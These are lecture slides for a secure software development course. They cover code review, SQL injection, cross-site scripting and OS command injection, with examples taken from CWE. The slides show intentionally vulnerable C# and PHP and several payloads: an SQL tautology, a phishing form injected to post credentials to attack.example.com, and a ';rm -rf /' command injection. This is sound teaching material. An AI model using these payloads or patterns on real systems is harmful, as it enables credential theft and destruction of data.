SE611: Secure Software Development Secure Code Review and Software Vulnerabilities

1. SE611: Secure Software DevelopmentSecure Code Review and Software Vulnerabilities Slides by Ahmed Ibrahim 23-02-2019

2. Agenda • Secure Software Development • Secure Code Review • How to Write an Application Secure Code Review Findings? • Software Vulnerabilities I • Readings

3. Agenda • Secure Software Development • Secure Code Review • How to Write an Application Secure Code Review Findings? • Software Vulnerabilities I • Readings

4. Secure Software Development • Security is part of software development process, is an ongoing process involving people and practices, and ensures application confidentiality, integrity, and availability. • It is important that security features are built into the software from the beginning, instead of being added on at a later stage.

5. Secure Software Development

6. Secure Software Development

7. Security in Quality Assurance https://www.checkmarx.com/2016/02/05/5-best-practices-perfect-secure-code-review/

8. Agenda • Secure Software Development • Secure Code Review • How to Write an Application Secure Code Review Findings? • Software Vulnerabilities I • Readings

9. Secure Code Review • Secure code review is the process organization’s go through to identify and fix potentially risky security vulnerabilities in the late stages of the development process. • As the last threshold before an app is released, secure code reviews are an integral part of the security process. • They serve as a sort of final review to check that your code is safe, and that all dependencies and controls of the application are secured. https://www.checkmarx.com/2016/02/05/5-best-practices-perfect-secure-code-review/

10. Secure Code Review • Verifying the security of your code via a secure code review also serves to cut down on time and resources it would take if vulnerabilities were detected after release. • Security code reviews focus on finding flaws in each of the following areas: Authentication, authorization, security configuration, session management, logging, data validation, error handling, and encryption https://www.checkmarx.com/2016/02/05/5-best-practices-perfect-secure-code-review/

11. Secure Code Review • Code reviewers should be well-versed in the language of the application they’re testing, as well as knowledgeable on the secure coding practices and security controls that they need to be looking out for. https://www.checkmarx.com/2016/02/05/5-best-practices-perfect-secure-code-review/

12. Agenda • Secure Software Development • Secure Code Review • How to Write an Application Secure Code Review Findings? • Software Vulnerabilities I • Readings

13. How to Write an Application Secure Code Review Findings? • Choose a Great Title • Identify the Location of the Vulnerability • Detail the vulnerability • Discuss the Risk • Suggest Remediation • Include References https://www.owasp.org/index.php/How_to_Write_an_Application_Code_Review_Finding

14. Secure code review is to identify and fix potentially risky security vulnerabilities in the late stages of the development process. The reviewer must be aware with software vulnerabilities.

15. Agenda • Secure Software Development • Secure Code Review • How to Write an Application Secure Code Review Findings? • Software Vulnerabilities I • Readings

16. Software Vulnerabilities

17. Software Vulnerabilities • Software vulnerabilities : are shortcomings in computer software's that provide a capable attacker with opportunities to compromise the integrity, availability, or confidentiality of an affected user‘s computer or data (Opening the door to criminals).

18. Software Vulnerabilities • Because the act of software systems increases everyday also the number of vulnerabilities. • The goal of an attacker is to gain some privileges in the system to take control of it or to obtain valuable information for its own benefit. • It is significant for the developers and general public to know about vulnerabilities and their prevention and detection.

19. Software Vulnerabilities • There are many software vulnerabilities, we will discuss around 15 software vulnerabilities in 2 lectures • SQL Injection • Cross-site Scripting • OS Command Injection • Classic Buffer Overflow • Integer Overflow • Unrestricted Upload of File with Dangerous Type • Reliance on Untrusted Inputs in a Security Decision • Use of Hard-coded Credentials • Missing Authentication for Critical Function • Missing Encryption of Sensitive Data

20. SQL Injection

21. SQL Injection • Improper Neutralization of Special Elements used in an SQL Command • If attackers can influence the SQL that you use to communicate with your database, then suddenly all your fun and profit belongs to them. • If you use SQL queries in security controls such as authentication, attackers could alter the logic of those queries to bypass security. • They could modify the queries to steal, corrupt, or otherwise change your underlying data. • They'll even steal data one byte at a time if they have to, and they have the patience and know-how to do so. http://cwe.mitre.org/data/definitions/89.html

22. SQL Injection Example 1 • The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. • The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user. C# ... string userName = ctx.getAuthenticatedUserName(); string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text+ "'"; sda = new SqlDataAdapter(query, conn); DataTabledt = new DataTable(); sda.Fill(dt); ... http://cwe.mitre.org/data/definitions/89.html

23. SQL Injection Example 1 • The query that this code intends to execute follows: • However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string: for itemName, then the query becomes the following: SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>; name' OR 'a'='a SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a'; http://cwe.mitre.org/data/definitions/89.html

24. SQL Injection Example 1 SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a'; • The addition of the: • condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query: • This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner. OR 'a'='a SELECT * FROM items; http://cwe.mitre.org/data/definitions/89.html

25. SQL Injection Example 2 https://www.w3schools.com/sql/sql_injection.asp

26. Cross-site Scripting (XSS)

27. Cross-site Scripting (XSS) • Cross-site scripting (XSS) vulnerabilities occur when: • Untrusted data enters a web application, typically from a web request. • The web application dynamically generates a web page that contains this untrusted data. • During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, etc. • A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data. • Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain. http://cwe.mitre.org/data/definitions/79.html

28. Cross-site Scripting (XSS) Example 1 • This code displays a welcome message on a web page based on the HTTP GET username parameter. • This example “PHP Example” covers a XSS scenario. • Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as $username = $_GET['username']; echo '<div class="header"> Welcome, ' . $username . '</div>'; http://trustedSite.example.com/welcome.php?username=Ahmed=> Welcome, Ahmed http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script> http://cwe.mitre.org/data/definitions/79.html

29. Cross-site Scripting (XSS) Example 1 • Steal password • If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser: http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div> Welcome, Please Login: Username: Password: Login http://cwe.mitre.org/data/definitions/79.html

30. Cross-site Scripting (XSS) Example 2 https://excess-xss.com/

31. Cross-site Scripting (XSS) Example 2 https://excess-xss.com/

32. OS Command Injection

33. OS Command Injection • The software constructs all or part of an OS command using external input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. http://cwe.mitre.org/data/definitions/78.html

34. OS Command Injection Example • This PHP example code intends to take the name of a user and list the contents of that user's home directory. • The $userName variable is not checked for malicious input. • An attacker could set the $username variable to an arbitrary OS command such as: • Which would result in $command being: $userName = $_POST["user"]; $command = 'ls -l /home/' . $userName; system($command); ;rm -rf / ls -l /home/;rm -rf / http://cwe.mitre.org/data/definitions/78.html

35. OS Command Injection Example • Since the semi-colon is a command separator in Unix, the OS would first execute the lscommand, then the rm command, deleting the entire file system. • rm – Remove the following files. • -rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you. • / – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives. ls -l /home/;rm -rf / http://cwe.mitre.org/data/definitions/78.html

36. Practical Exercise

37. Readings • 5 Best Practices for the Perfect Secure Code Review • https://www.checkmarx.com/2016/02/05/5-best-practices-perfect-secure-code-review/ • Secure Code Review Report • https://www.owasp.org/index.php/How_to_Write_an_Application_Code_Review_Finding

38. Assignment1 [4 marks] • We discussed 3 vulnerabilities • SQL Injection • XSS • OS Command Injection • Search about real attacks news and give one for each vulnerability • What are XSS types and give an example for each type in any language

39. Next lecture agenda • Software Vulnerabilities II • Assignment 2 (Library System)